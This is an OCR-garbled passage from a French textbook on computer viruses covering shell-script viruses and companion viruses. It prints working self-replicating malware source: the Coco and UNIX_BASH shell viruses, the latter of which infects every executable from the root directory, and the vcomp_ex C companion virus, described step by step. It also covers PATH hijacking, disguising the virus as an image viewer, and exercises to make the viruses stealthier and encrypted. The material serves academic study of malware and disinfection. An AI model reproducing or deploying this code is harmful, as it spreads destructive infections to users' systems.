cette fois que les fichiers executables de type script (presence de I'en-tete #! /bin/sh). Toutefois, il presente plusieurs limitations, de memc nature que celles presentees pour le virus UNIX_ OWR : - sa portce est limitee au repertoire courant; - il n'y a pas de prevention de la surinfection (autrement dit, le fichier infectant s'infecte a chaaue fois lui-memo) :
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- le virus n'est pas furtif, tous les fichiers infectes grossissent peu a peu en taille, chaque fois qu'un script infecte est execute dans le repertoire courant; - la commande tr (effectuant le remplacement ou l'effacement de caracteres) n'est pas correctement utilisee, produisant dans certains cas un fichier corrompu, donc non-executable (presence de lettres x dans le fichier cible ).



8.3.3 Le virus



UNIX



Coco



Le virus UNIX_ Coco est un virus procedant par ajout de code. Son auteur a eu le souci de prevenir un certain nombre de risques ou devenements, susceptibles de trahir la presence du virus. Les elements positifs de ce code sont : - la gestion de la surinfection par recherche de la signature dans le fichier cible, les modifications de taille des fichiers infectes resteront pratiquement inapercues ; - la verification des caracteristiques du fichier cible. Toutefois, il subsiste encore plusieurs problemes qui peuvent nuire a la survie du virus: - le code peut etre rendu legerement plus concis (notamment, l'usage du fichier I devInull doit etre prefere a celui des fichiers temporaires ; cela reduit de plus le nombre d'ecritures sur le disque) ; - quelques petits problemes de portabilite peuvent survenir avec la commande grep sur certaines plateformes Unix (probleme de cornpatibilite de certaines versions avec la norme POSIX.2). La redirection des erreurs sur le fichier Idev/null est preferable a l'option -s, par exemple; - la presence d'une signature, donc la lutte antivirale par scan est plus facile.



8.3.4 Le virus



UNIX



BASH



Nous allons terminer par I'etude d'un virus assez redout able et dangereux, qui illustre parfaitement la puissance des langages de type shell sous Unix. Lors des tests, en tant qu'utilisateur normal et en tant que superutilisateur, ce virus a mis tout le systeme a plat, necessitant soit une totale reinstallation avec perte des donnees (Ie plus souvent) soit une longue et fastidieuse desinfection a la main de la machine. Le pire des cas est celui OU l'utilisateur eteint sa machine brutalement.
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#



coco



head -n 24 $0 > .test # sauvegarde du corps du virus dans un fichier temporaire for file in * # pour tous les fichiers (repertoire courant) do if test -f $file # si le fichier existe et s'il est de type regulier then if test -x $file # si le fichier existe then if test - w $file # si le fichier est accessible en ecriturc then if grep -s echo $file >.mmm # si la commande echo est presente # (Ie fichier est alors un script) then head -n 1 $file >.mm # sauvegarde de la premiere ligne if grep -s COCO .mm >.mmm # recherche de la signature COCO then rm .mm-f # suppression des fichiers temporaires else cat $file > .SAVEE # sauvegarde temporaire du fichier cible cat .test > $file # ecrasement du fichier cible par le code viral cat .SAVEE » $file # ajout du fichier cible a la suite fi;fi;fi;fi;fi done rm .test .SAVEE .mmm .mm -f # suppression des fichiers temporaires



TAB.



8.7. Le virus



UNIX



Coco



Dans cette premiere partie, le virus verific la presence d'un processus infectieux en cours (manifestee par l'existence d'un fichier de type /tmp/vir-*). Dans la negative, le virus se relance dans un sous-shell, cette fois avec I'arvument infect afin de nroceder a la nhase d'infection. Si le
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if [ "$1" != infect] # si le premier argument ne vaut pas "infect" then if [! -f /tmp/vir-* ] # si aucun fichier vir-xxxx n'existe dans /tmp then $0 infect & # appel recursif au virus avec l'argument "infect" fi tail +25 $0 >> /tmp/vir-$$ # l'executable est debarrasse du virus et sauvegarde # dans /tmp/vir-$$ (cas survenant quand l'utilisateur # execute un fichier infecte # $$ = numero du processus bash en cours) chmod 777 /tmp/vir-$$ # modification des droits de ce fichier (rwx pour tous) /tmp/vir-$$ $@ # execution du fichier /tmp/vir-$$ avec les arguments d'origine CODE=$? # memorisation du code de retour du dernier # processus execute en tache de fond



TAB.



8.8. Le virus



UNIX_BASH



(debut)



virus est execute a partir d'un fichier infecte, le virus rend le controle au programme cible avec les arguments d'appel (si ces derniers sont presents). II s'agit de ne pas trahir la presence de l'infection (souci de furtivite}, Pour cela, il faut que l'utilisateur conserve le sentiment que tout se passe normalement. Dans cette deuxieme partie (realisation de l'infection proprement dite), le virus recherche tous les fichiers non encore infectes par le virus. L'utilisation de la commande find est deconseillee (voir la section 8.2.3). Au total, ce virus procede par ajout de code au debut du fichier cible, ce qui est moins efficace (necessite de passer par des fichiers temporaires, donc augmentation de I'activite disque) que l'ajout en fin de fichier (comme pour le virus vbash). II en resulte un code viral un peu plus gros que requis. Quelques erreurs subsistent dans ce code (en particulier I'operateur $? retourne toujours 0; l'auteur a certainement confondu avec I'operateur $!). Nous laisserons le lecteur les trouver a titre d'exercice.
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else



# #



le fichier infecte est execute avec "infect" en argument find / -type f -perm +100 -exec bash -c \ # chercher a partir de la racine # les fichiers de type regulier executable # pour l'utilisateur; executor alors le bash # avec la commande suivante ({} est remplace # par le fichier en cours trouve par find) "if [ -z \"\'cat {}Igrep VIRUS\'\" ] ; \ # si [Ie fichier ne contient pas le mot VIRUS] # (VIRUS constitue ici la signature du virus) then \ cp {} /tmp/vir-$$; \ # copier le fichier en /tmp/vir-$$ (head -24 $0 >{}) 2 > / dey/null; \ # remplacer le fichier par le virus (mode erreur muet) (cat /tmp/vir-$$ » {}) 2 >/dev/null; \ # ajouter le fichier initial a la fin (mode erreur muet) rm /tmp/vir-$$; \ # effacer le fichier ternporaire fill \; CODE=O fi rm -f /tmp/vir-$$ exit $CODE



TAB.



8.9. Le virus



UNIX_BASH



(suite et fin)



Lors des tests, ce virus a infecte la totalite de la machine en quelques minutes, de facon certes peu discrete mais efficace. II est a noter que lorsque la machine est en multi-boot (presence de plusieurs systemes d'exploitation) et que les partitions correspondant aux autres systemes sont montces (automatiquement lors du demarrage de Linux ou manuellement), l'infection se propage a tous leurs fichiers (ceux-ci ont les droits en execution pour tous, par defaut}, Le demarrage ulterieur de l'un de ces systemes d'exploitation est alors impossible. Seule une desinfection manuelle, a partir de Linux, de TOUS LES FICHIERS, permet de sauver le systeme. La realisation d'un script de desinfection est fortement conseillee, etant donne le nombre extrernement imnortant de fichiers aue neut comnter un svsteme comme Windows Dar
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exemple. L'ecriture d'un tel script est proposee a titre de projet, a la fin du chapitre. Un effet insidieux de la commande find est la reaction de l'utilisateur panique, notamment face aux nombreux messages derreurs". qui va eteindre brutalement sa machine. Grave erreur! Le systeme ne peut plus redemarrer correctement (dans le cas de l'utilisateur root, les droits en ecriturc ont disparu et la desinfection manuelle n'est memc plus possible).



8.4 Conclusion La conception pas a pas du virus vbash et les quelques exemples simples presentes montrent que les virus en langages interpretes peuvent etre tout aussi efficaces que leurs homologues compiles que nous verrons dans les chapitres qui suivent. Encore faut-il se rappeler que nous n'avons pris pour exemple qu'un langage de base. II en existe de plus performants et de plus puissants. Ces virus representent un defi important en ce qui concerne la lutte antivirale. Pratiquement jamais detectes sous Unix, ils le sont encore tres imparfaitement sous d'autres plateformes (en y incluant Windows). II n'est pas sur que cette lutte dans le cas d'Unix soit un jour veritablement efficace. Cet environnement utilise beaucoup les scripts (pour la configuration, l'administration du systeme ou I'execution de taches relativement simples). Dans cette optique, le polymorphisme, s'il est bien concu et realise, devrait, encore plus que dans le cas compile, representor une menace redout able dans l'avenir. Les exemples de virus interpretes polymorphes sont encore rares mais gageons que I'activite incessante des pirates ne saurait bien lontemps rester sans explorer cette voie. Enfin, insistons, dans le cas particulier des systemes Unix, sur l'importance d'une administration rigoureuse de ces systemes. Le droit a l'erreur n'est malheureusement pas permis. L'infection directement a partir du compte root aura toujours un effet dramatique et extrernement grave. Un excellent exemple est celui du virus virux [77].



Exercices 1. Modifier le virus UNIX_ OWR pour que son action s'etende aux sousrepertoires et ne concerne que les fichiers executables, autres que le fichier 4



L'existence de ces messages d'erreur resulte peut-etre de la volonte de l'auteur qui avait envisaze ce tvne de reaction!
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infectant en cours. Comment peut-on lutter contre I'uniforrnite des tailles apros infection? 2. Ameliorer le virus UNIX_ OWR afin de supprimer les limitations donnees dans la section 8.3.2. 3. Etudier le code des virus en langage interprets pour Unix, fournis sur le CDROM. Determiner leurs points forts et leurs points faibles (attention: certains fonctionnent mal ou pas du tout; determiner pourquoi).



Projets d'etudes Virus chiffre en



PERL



Ce projet devrait occuper un eleve pendant une a trois semaines, duree qui dependra du degre de connaissance du langage PERL. Le but est de realiser un virus similaire au virus vbash mais de type chiffre, La structure du virus sera la suivante : - une premiere partie du code, en clair, sera constituee uniquement de la fonction de dechiffrement. La clef sera constituee des premiers octets du fichier infecte ; - la seconde partie (la plus importante) sera le corps principal du virus, chiffre, Le virus sera de type ajout de code, a la fin du fichier. L'action du virus se resume alors ainsi : 1. La routine de dechiffrement rccuperc la clef dans le fichier infecte (par exemple, les trois ou quatre premiers octets du texte) et dechiffre le corps principal du virus. 2. Le virus proprement dit, une fois dechiffre, est execute: a) II recherche les fichiers infectes, b) Lors de l'infection, il cree une clef specifique a chaque fichier (encore une fois, quelques octets du fichier cible) chiffre son propre corps principal et ajoute au fichier cible la routine de dechiffrement et le corps principal viral. c) Eventuellement, une charge finale est executee (avec ou sans mecanisme differe}, Dans une premiere version, le mieux sera de considerer le chiffrement au moyen d'un procede fixe (que l'eleve choisira). Mais une procedure de dechiffrement fixe constitue en elle-meme une sianature. Une seconde version.
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plus elaboree, changera la routine de chiffrement (et donc egalement celle de dechiffrement] d'infection en infection. La clef sera egalement changee a chaque fois. Dans les deux cas, il faudra veiller a ce que virus gere le probleme de la surinfection evcntucllo.



Scripts de desinfection Ce projet devrait occuper un eleve pendant deux a trois semaines, duree qui dependra de la connaissance plus ou moins grande du langage Bash. Le but est de realiser des scripts de desinfection specifiques pour un virus donne. Dans un premier temps, un virus non polymorphe sera choisi (le virus UNIX_BASH est un excellent exemple). Dans un deuxieme temps, un virus polymorphe (par exemple vbash) sera considere, Les principales etapes du projet seront : 1. Etude du code du virus et comprehension de ses mecanismcs d'infection. Le but est de trouver une signature ayant toutes les qualites necessaires pour lutter efficacement contre le virus. 2. Programmation du script de desinfection proprement dit. L'edition et la journalisation des resultats de la recherche d'infection devront etre assurees. 3. Infection d'une machine test Dar le virus et test du scrint de desinfection,
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Les virus compagnons



9.1 Introduction Ces virus ne sont pas tres connus, et pourtant ils presentent une menace non negligeable lorsqu'ils sont bien concus. De nombreux tests ont confirrne I'efficacite de la technique d'infection par accompagnement de code pour leurrer les antivirus. Le contournement des techniques antivirales basees sur le controle de I'integrite des fichiers devient assez facilement realisable avec les virus de type compagnon. II convient, toutefois, de definir ce que l'on entend par intcgrite d'un fichier (probleme general de I'integrite en cryptologie; voir [173, chap. 9]). La plupart du temps, seulle fichier lui-meme est pris en compte, ce qui n'offre aucune securite. Un veritable mecanisme dintegrite doit englober toutes les structures associecs au fichier dont on veut assurer I'integrite, qui font partie du systeme de fichiers et qui vont servir a referencer ces fichiers. Outre le fait que sa gestion reste lourde, un veritable mecanisme dintegrite ralentit souvent le systeme. Ces deux contraintes font que trop souvent I'integrite mise en ceuvre est degradee et donc insuffisante. Les virus de type compagnon ont ete prcscntes dans la section 5.4.4. Trois grandes categories ont ete decrites. La premiere exploite en general des caracteristiques tres specifiques d'un systeme d'exploitation donne. Cela limite, pour cette classe, la portabilite des virus qui y appartiennent. La seconde classe consiste a modifier la variable d'environnement PATH I . La variable d'environnement PATH sert a indiquer au systeme dans quels re1



Nous ne considererons, dans ce chapitre, comme dans les suivants, que le systeme Unix et le langage C. II reste evident que tout ce qui est presente dans cette seconde partie, consacree a l'aspect pratique, est transposable aisemcnt a tout autre systeme d'exploitation.
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pertoires rechercher les binaires qui doivent etre executes. Par exemple, l'utilisation du compilateur gee peut se faire par l'appel /usr/bin/gee : l'ordre contient a la fois le nom de l'application (gee) et l'endroit OU trouver son code (/usr/bin). Cette commande est plus sure mais souffre d'un manque evident d'ergonomie (en particulier, quand le chemin dans l'arborescence est tres long). L'autre solution, plus ergonomique, est d'indiquer, dans la variable PATH, les differentes localisations possibles, pour un binaire. Prenons un utilisateur normal, sans droits particuliers. Pour connaitrc l'environnement dexecution, utilisons la commande eeho $PATH. II s'affiche alors : /usr/loeal/bin:/usr/bin:/usr/X11R6/bin:/bin:/usr/games:\ /opt/gnome/bin:/opt/kde3/bin:/opt/kde2/bin:\ /usr/lib/java/bin:/opt/gnome/bin Lorsque l'utilisateur veut executor gee, cette simple commande est lancee. Le systeme alors parcourt la liste des repertoires presents dans la variable PATH : /usr/loeal/bin, /usr/bin... et dans chacun d'eux, cherche la presence d'un binaire portant le nom gee. En cas de succes, il I'execute, Notons tout de suite que si deux binaires portant le memc nom gee, se trouvaient respectivement dans /usr/bin et /usr/loeal/bin, comme le systeme consulte les repertoires dans l'ordre strict etabli dans la variable PATH, le binaire contenu dans /usr/loeal/bin sera seul execute. Modifions maintenant cette variable d'environnement. Cela est possible pour chaque utilisateur afin de lui permettre de configurer son systeme avec l'ergonomie souhaitee, Uno premiere solution est d'utiliser la sequence de commandes suivante : PATH=. : $PATH export PATH Nous avons simplement rajoute un repertoire supplementaire : le repertoire courant. Autement dit, chaque fois que l'utilisateur lancera un executable, le premier repertoire dans lequel le systeme recherchera le binaire sera le repertoire courant. Et si cet executable porte le nom d'un autre programme (gee par exemple), il sera donc execute en lieu et place du programme originel. Le lecteur aura compris que si le binaire . / gee est en realite un virus, chaque fois que l'utilisateur compilera un programme, c'est en fait le virus qui sera active. Bien evidemment le virus « gee » prendra soin en dernier lieu de faire appel au veritable programme gee avec les arguments d'appel originaux. Nous verrons comment programmer cela en detail un peu plus loin dans ce chanitre.
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La modification de la variable PATH indiquee plus haut est toutefois limitee a la session en cours. Cela suffit pour l'action du virus, qui peut, a chacune de ses executions, actualiser ainsi cette variable (voir les details dans la section 9.3). II en resulte une certaine furtivit.e. L'autre solution, permanente, consiste a modifier la variable PATH directement dans le fichier de configuration . bash_profile, qui se trouve a la racine du compte utilisateur. Mais dans ce cas, il y a modification d'integrite de ce fichier. La ligne conccrncc, par exemple :



/usr/local/bin:/usr/bin:/usr/X11R6/bin:/bin:/usr/games:\ /opt/gnome/bin:/opt/kde3/bin:/opt/kde2/bin:\ /usr/lib/java/bin:/opt/gnome/bin sera remplacee par le virus,



a la premiere execution de



ce dernier, par



. :/usr/local/bin:/usr/bin:/usr/X11R6/bin:/bin:/usr/games:\ /opt/gnome/bin:/opt/kde3/bin:/opt/kde2/bin:\ /usr/lib/java/bin:/opt/gnome/bin Notons que tres frequemment, l'utilisateur modifie lui-meme la variable PATH de cette manicre. L'erreur est de faire figurer le repertoire courant . avant tous les autres. Une « moins mauvaise solution» serait de modifier la variable PATH de sorte a ce que le repertoire courant . figure en fin de liste. Une solution optimale, en termes de securite, est d'organiser l'arborescence de sorte que les executables ne soient localises que dans un nombre limite de repertoires clairement identifies. Bien evidemment, un systeme bien administre (Unix en particulier) interdira aux utilisateurs la modification de la variable d'environnement PATH mais cela est tres rarement le cas. La volonte d'ergonomie toujours plus forte limite toujours plus les mesures de securite preventives qui doivent etre mises en ceuvre au niveau de l'administration du systeme. Encore une fois, ce n'est pas le systeme d'exploitation en general qui est en cause (surtout lorsqu'il s'agit d'un systeme comme Unix) mais presque toujours la politique de securite et sa mise en application. La troisicme classe est plus interessante car elle n'exploite aucune caracteristique particuliere, ce qui fait que les virus de cette classe peuvent etre adaptes facilement a n'importe quel environnement. C'est cette categorie que nous allons presenter en detail dans ce chapitre. D'une manierc generale, signalons, comme nous l'avons fait pour les virus interpretes, qu'une programmation propre requiert d'etre structuree : utilisation de procedures, de variables locales .... Toutefois, dans ce qui suit, nous n'utiliserons nas de nrovrarnmation conforme aux canons. Dour une
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raison evidcntc : tout code viral structure offre des possibilites plus grandes d'analyse et de detection par un antivirus. L'autre raison est l'indispensable limitation de la taille du fichier viral. Structurer le code a pour effet d'augmenter cette taille. Cependant, dans un but didactique, les codes prcscntes ne sont pas optimises (en terme de taille notamment) ni factorises (reunion d'instructions). Nous laisserons au lecteur le soin d'effectuer cette tache, a titre d'exercice. Dans ce qui suit, nous ne donnerons que les prototypes des fonctions utilisees, et eventuellement des informations complementaires quand cela sera pertinent. Le lecteur trouvera une description detaillee de ces fonctions, soit dans les pages man du systeme Linux, soit dans l'excellent livre de C. Blaess [26].



9.2 Le virus compagnon vcomp_ex Nous allons etudier le code du virus vcomp_ex, developpe par l'auteur, dans un but didactiquc'. Nous le ferons ensuite evolucr pour lui conferer toutes les qualites d'un virus reel efficace. Det.crminons tout d'abord les caracteristiques de ce virus et definissons l'environnement cible. Nous supposerons que ce dernier posscde les caracteristiques suivantes. Elles correspondent a la situation la plus frequemment rcncontrce : - l'utilisateur, que nous nommerons user1 et dont repertoire de travail est localise dans /home/user1, posscde les droits en execution sur tous les repertoires de l'arborescence a l'exception du compte root, et en ecriturc sur le repertoire /home/user1 et ses sons-repertoires. ainsi que sur le repertoire /tmp ; - l'utilisateur est moyennement sensibilise a la securite informatique et posscde une connaissance moyenne de son systeme d'exploitation. II est donc capable, en theorie, de realiser un audit basique regulier de la securite de ce systeme. Toutefois, comme la plupart des utilisateurs dans ce cas, la securite n'est pas une priorite et il ri'hesite pas a executor des programmes dont la provenance n'est pas connue avec certitude. Autrement dit, il connait les regles de securite a appliquer mais les applique rarement. Notons que ce profil correspond a celui de la plupart des utilisateurs. 2



Ce virus prend comme base le virus X21 developpe par Mark Ludwig [167]. Son virus nresente des caracteristioues limitees et contient de nombreuses erreurs.
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II est evide nt qu e si l'utili sateur est l'administrat eur lui-meme (utili sat eur root) , l'efficacite du virus est dramatique, en par ti culi er dan s sa version vcomp_ex_v3 . Le virus vcomp_ex, qu ant a lui , fonctionne de la rnani er e suivante (voir figure 9.1). II n 'infecte que les fichiers executables du repertoire courant . Pour chaque cible rep eree, il la renomme en lui accolant l'ext ension . ol d (ainsi l'executable prog est rebaptise en prog. old) . Le virus ensuite se duplique sous form e d 'un fichier exec utable port an t le nom du fichier cible (par exemple, prog) . Lorsque le progr amme infe cte est execute, le virus se lance



I



Virus



Prog Prog pro gramme atteint FIG.



9.1. Principe de fonct ionnem en t du viru s vcomp_ex



en premier, se duplique en fonction des possibilite s, et ensuite execu te le programme portant le mem e nom qu e lui , m ais avec l'extension old. Le lecteur n 'aura pas manque de noter que cette premiere version comporte de graves faiblesses , qui illustreront cependant de maniere adequate les as pe cts algorit hmiques a ne pas negliger en ce qui conce rne les virus com pagnons. Nou s detaillerons ces faiblesses plus t ard afin de det erminer comment arneliorer ce virus.



9. 2.1 E tud e detainee du code de vc omp_ex Nous allons decrire, pas a pas, les instructions du code du virus vcomp_ex . Le code source complet de ce virus est fourni sur le C D ROM accompagn ant cet ouvrage. Les principales etapes du virus seront les suivan tes : 1. Recherche dans le renertoire courant des fichier s execut ables



a infe cte r.
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2. Prevention de la surinfection (la cible est-elle deja infectee ?). Dans le cas des virus compagnons, cette verification est double. 3. Infection proprement dite des fichiers. 4. Transfert au code hate. Voyons le code de chacune de ces parties.



Recherche des fichiers



a infecter



Dans Unix, tout le systeme est base sur la notion de fichiers : ceux n'ayant pas de contenu sur le disque (ce sont les fichiers dits « speciaux » ; ils correspondent a des res sources) et ceux contenus sur le disque. Parmi ces derniers, nous avons : - les fichiers reguliers (executables ou non) ; - les repertoires qui peuvent etre vus, en premiere approche, comme des fichiers contenant les noms des fichiers contenus dans chaque repertoire; - les liens symboliques. Pour une description detaillee de ces fichiers, le lecteur consultera [192]. La recherche des fichiers a infecter va donc etre tres facile a ecrirc. Elle comporte plusieurs etapes : 1. ouverture d'un fichier de type repertoire" (la fonction opendir, appliquee au repertoire courant ., retourne un pointeur sur un flux de repertoire DIRP) ; 2. parcours du flux de repertoire DIRP en lecture avec la fonction struct dirent *readdir (DIR *dir) ; de la bibliotheque dirent . h, pour acceder aux fichiers qui s'y trouvent ; 3. recuperation des informations (statut) sur chaque fichier grace a la fonction int stat (cons t char *file_name, struct stat *buf) ; (bibliotheques sys/types. h, sys/stat. h et unistd. h). Cette fonction retourne une structure de type stat contenant les informations suivantes sur le fichier : struct stat { dev_t st_dev; ino_t st_ino; mode_t st_mode; 3



/* peripherique */ /* i-noeud */ /* permissions et type */



Le lecteur notera l'analogie entre les fichiers reguliers et les fichiers de type repertoire, en comparant les prototypes des fonctions FILE *fopen(const char *path, const char *mode) ; de la bibliotheque stdio.h et DIR *opendir (cons t char *name) ; de la bibliotheoue .
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nlink_t st_nlink; 1* uid_t st_uid; 1* gid_t st_gid; 1* off_t st_size; 1* blksize_t st_blksize; blkcnt_t st_blocks;l* time_t st_atime; 1* time_t st_mtime; 1* time_t st_ctime; 1*
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nombre de liens physiques *1 UID du proprietaire *1 GID du proprietaire *1 taille totale, en octets *1 1* taille de bloc pour liD *1 nombre de blocs alloues *1 date de dernier acces *1 date de derniere modification *1 date de changement de statut *1



};



4. verification de la nature du fichier. Le champ st_mode contient toutes les informations concernant les droits du fichier (lecture, ecriturc ou execution) et son type (regulier, repertoire, lien... ). La valeur cnticre contenue dans ce champ est codee sur 16 bits. Chaque bit designe une propriete (type ou permission) possible pour le fichier. La table 9.1 donne, en octal, les valeurs de ces bits et la propriete qu'ils designent (nous nous sommes limites aux valeurs qui nous seront utiles; pour plus de details, utiliser la page du manuel en ligne (man 2 stat)). I Masque IValeur octale du bitl S - IFREG S - IFDIR S - IRWXU S - IRUSR S - IWUSR S - IXUSR S - IRWXG S - IRGRP S - IWGRP S - IXGRP S - IRWXO S - IROTH S - IWOTH S - IXOTH TAB.



0100000 0040000 00700 00400 00200 00100 00070 00040 00020 00010 00007 00004 00002 00001



Signification fichier regulier repertoire masque de droits utilisateur droit en lecture pour l'utilisateur droit en ecriturc pour l'utilisateur droit en execution pour l'utilisateur masque de droits pour le groupe droit en lecture pour le groupe droit en ecriturc pour le groupe droit en execution pour le groupe masque de droits autres droit en lecture pour les autres droit en ecriturc pour les autres droit en execution pour les autres



9.1. Valeurs octales. masaues des autorisations rl'acces et tvne de fichiers
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Par exemple, le champ st_mode d'un fichier regulier lisible, modifiable et executable uniquement par son proprietaire vaudra 0100700 (en octal). Pour determiner une ou plusieurs proprietes du fichier, il suffit d'appliquer, avec un au binaire, le masque correspondant au champ st_mode. Ainsi, si la valeur st_mode I S_IXUSR est differente de zero, le fichier est executable pour l'utilisateur. II est bien sur possible de cumuler plusieurs masques". Le virus ne doit infecter que les fichiers reguliers, executables pour l'utilisateur conccrne. II verifiera donc que ces proprietes sont presentes pour le fichier considere. Le code du virus correspondant



#include #include #include #include #include #include #include



a cette fonction



de recherche est alors" .







/*definition des variables */ DIR * repertoire; struct dirent * rep; struct stat info_fichier; int stat_retour; FILE * hote, * virus; char chaine[256J; /* programme*/ int main(int argc,char * argv[ J,char * envp[ J) {



/* Ouverture du repertoire courant */ repertoire = opendir("."); 4



5



Une autre solution consiste a utiliser, pour determiner le type de fichier, les fonctions de type S_ISREG(file) (Ie fichier file est-il regulier 7), S_ISDIR(file) (file est-il un repertoire 7) ... L'avantage de certaines de ces fonctions, en particulier S_ISDIR(file), est de pouvoir compiler avec l'option -ansi, ce qui n'est pas possible en utilisant le masque S_IFDIR, avec certaines versions de compilateurs. Dans ce qui suit, nous avons utilise des noms de variables evocateurs afin de fournir un code facile a comprendre. II est evident que des noms de variables tels que virus, hoie ... ne seront nas utilises dans une imnlementation reelle '
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/* boucle de lecture des fichiers du repertoire */ while(rep = readdir(repertoire)) {



/* recuperation du statut du fichier en cours */ if(!(stat_retour = stat((const char *)&rep->d_name, &info_fichier))) {



/* Ie fichier en cours est-il regulier et executable */ if((info_fichier.st_mode & S_IXUSR) && (info_fichier.st_mode & S_IFREG)) {



Prevention de la surinfection Le but de cette partie du code est de determiner si le fichier regulier, executable, courant, est deja infecte ou non. Dans la negative, l'infection peut avoir lieu. Dans le cas d'un virus compagnon, la verification doit etre double, dans la mesure OU un virus compagnon est compose de deux fichiers. Si le fichier en cours a pour nom prog_courant, alors : - le fichier courant possede-t-il une extension . old? Si cela est le cas, il s'agit d'un programme deja infecte (hate viral renomme). La recherche sur l'extension peut se faire de plusieurs maniercs. La plus economique, tous aspects confondus, est d'utiliser les fonctions char *strstr(const char * sous-chalne, const char * chalne); ou bien int strncmp(const char *s1, const char *s2, size_t n); - il existe dans le repertoire courant un fichier ayant le memc nom que le fichier courant mais possedant l'extension . old (dans notre cas, le fichier prog_courant. old existe). Dans ce cas, il s'agit de la partie virale d'un programme infecte, L'infection a deja eu lieu. Cette verification est tres simple: si le fichier prog_courant . old existe, il est alors possible de l'ouvrir en lecture (l'ouvrir en ecriturc serait une erreur car si le fichier existe, il est alors ecrasc). Un simple recours a la fonction FILE *fopen(const char *path, const char *mode) ; de la bibliotheque stdio. h indiquera si prog_courant . old existe (le pointeur FILE different de NULL) ou non (Ie pointeur FILE est egal a NULL). Cette verification est donc tres facile a programmer. Son code est le suivant :



/* Ie fichier courant est-il un hate rebaotise */
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if(strstr((const char *)&rep->d_name,". old")) {



/* Ie fichier courant est-il la partie virale */ /* d'un programme deja infecte ? */ /* creation du nom de fichier courant avec /* l'extension .old strcpy(chaine,(char *)&rep->d_name); strcat(chaine,". old");



*/ */



/* tentative d'ouverture du fichier if(hote = fopen(chaine," r")) fclose(hote); else



*/



{



/* Ie fichier courant n'est pas deja infecte */ /* l'infection peut etre realisee */ Infection proprement dite des fichiers L'infection proprement dite consiste en trois etapes. 1. Renommer le programme courant en lui accolant l'extension . old. Cela se fait tres simplement avec la fonction



int rename(const char *ancien_nom, const char *nouveau_nom); de la bibliotheque stdio. h. Si cette operation se deroule sans erreur, la valeur 0 est rctournce. 2. Dupliquer le virus (programme appelant dont le nom est contenu dans la variable argv [OJ). La, deux solutions sont possibles: - aprcs ouverture des fichiers, le virus est copie par blocs de n octets, dans la cible, a l'aide des fonctions



size_t fread(void *ptr, size_t taille, size_t nmemb, FILE *flux); et



size t fwrite(const void *ptr, size_t taille, size_t nmemb, FILE *flux); de la bibliotheque stdio. h. Cette solution est celle adoptee par Mark Ludwin Dour son virus X21. Son code est le suivant :
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if((virus=fopen(argv[O] ,lr"))!=NULL) { if((host=fopen((char *)&dp->d_name,lw"))!=NULL) { while(!feof(virus)) { amt_read=512; amt_read=fread(buf,1,amt_read,virus); fwrite(buf,1,amt_read,host);} .... }} Cette solution est deconseillee car d'une part, elle impose d'utiliser un tableau pour le transfert des donnees, ce qui accroit inutilement la taille du virus. D'autre part, elle multiplie le nombre de lectures et ecriturcs : lors de l'infection de nombreux fichiers, cette activite peut etre detectee par certains antivirus. De plus, ces derniers pourront, dans le cas de l'analyse heuristique suspecter, que l'usage de la commande fwri te est une preuve d'activite de duplication virale; - une bien meilleure solution consiste a utiliser les res sources du shell, par l'appel de la commande int system(const char *commande); de la bibliotheque stdlib . h, appliquee a la commande interne du shell cp. Aucun tableau temporaire n'est necessaire. II n'y a pas creation de processus (il s'agit en quelque sorte de I'equivalent d'une interruption INT 21H du DOS ou INT 13H du BIOS). La copie se fait de manierc optimale en utilisant les res sources (elles- memes optimales) du shell. Uno variante est prop osee en exercice, a la fin de ce chapitre. 3. La copie du virus portant le nom du fichier courant doit etre rendue executable en utilisant la commande int chmodCcons t char *nom, mode_t mode) ; des bibliotheques sys/types. h et sysl stat. h. Si cette etape est oubliee, l'utilisateur ne pourra executor le programme concerne (en realite, la partie virale du programme maintenant infecte), ce qui risque potentiellement de l'alerter. De plus, pour favoriser la propagation du virus, les droits en execution du programme sont etendus au groupe et aux autres utilisateurs. Ainsi, si le virus est lance par le superutilisateur - cas malheureusement loin d'etre rare - l'effet du virus sera dramatiquement amplifie, Le code de la routine de duplication est donc :



1* Le fichier courant est renomme *1 if(!rename((char *)&rep->d_name, (char *)&chaine) {



1* Creation de la commande de copie du virus *1 strcDv(chaine."cD



II):
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strcat(chaine,argv[O]); strcat(chaine," "); strcat(chaine,(char *)&rep->d_name); system(chaine); strcpy((char *)&chaine,(char *)&rep->d_name); 1* Changement des droits d'execution *1 chmod(chaine,S_IRWXU I S_IXGRP I S_IXOTH); Transfert au code hote Une fois l'infection de tous les fichiers executables du repertoire courant realisee, la partie virale du programme infecte appelant doit transferer le controle a la partie hate. En effet, l'utilisateur qui execute le programme infecte, ne doit pas suspecter l'infection. Autrement dit, le programme doit s'executer normalement. Ce transfert d'execntion se fait grace a la fonction int execve (const char *nom_programme, char *const argv [ ], char *const envp[ ]) ; de la bibliotheque unistd. h 6 . Cette fonction permet de prendre en compte, notamment, les arguments d'appel du programme hate (tableau argv [ ]). II est juste necessaire de crecr au prealable le nom du fichier (avec son extension . old) a lancer. La partie finale du code du virus est donc



1* Fermeture des blocs d'instructions precedents *1 }}}}} 1* Fermeture du repertoire courant *1 closedir(repertoire); 1* Creation du nom du programme auquel transferer *1 1* Ie contrale *1 strcpy(chaine, ".1"); strcat(chaine, argv[O]); strcat(chaine, ".old"); 1* Transfert d'execution *1 execve(chaine, argv, envp); Le code du virus est maintenant complet. II n'est cependant pas utilisable en l'etat. Comme pour n'importe quel autre virus, se pose le probleme de la premiere infection (primo-infection) dans la machine de la victime. Dans le cas des virus compagnons, le transfert de controle par l'appel a la fonction 6



D'autres fonctions de la famille exec, ou l'invocation du Bash, permettent avec quelques nuances d'effectuer ce transfert d'execution. Le lecteur en trouvera la description comnlete dans f26. chan. 41 et dans les nazes man.
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execve se traduirait par une erreur d'execution. Deux solutions sont alors possibles: - Soit le virus teste la presence d'un fichier a lancer : if(hote = fopen(chaine, "r")) {



fclose(hote); execve(chaine, argv, envp); }



- Soit il teste le nom du programme appelant pour determiner s'il s'agit du virus initial. Si ce dernier est un executable appele programme_test, par exemple, alors le code suivant est utilise: if (strncmp C''pr-ogr-amme; test ", argv [OJ, 14)) execve(chaine, argv, envp); Dans tous les cas, le programme viral initial devra etre un veritable executable, c'est-a-dire capable de realiser des fonctions reelles non virales. Dans le cas contraire, aucun utilisateur ne sera tente de I'executer au moins une fois sur sa machine, declenchant ainsi l'infection. Par exemple, le virus vcomp_ex pourra etre rcnomme Image View, place sur un CDROM d'images. Sa syntaxe d'utilisation sera ImageView image. II suffira d'incorporer au debut du code du virus, les instructions suivantes :



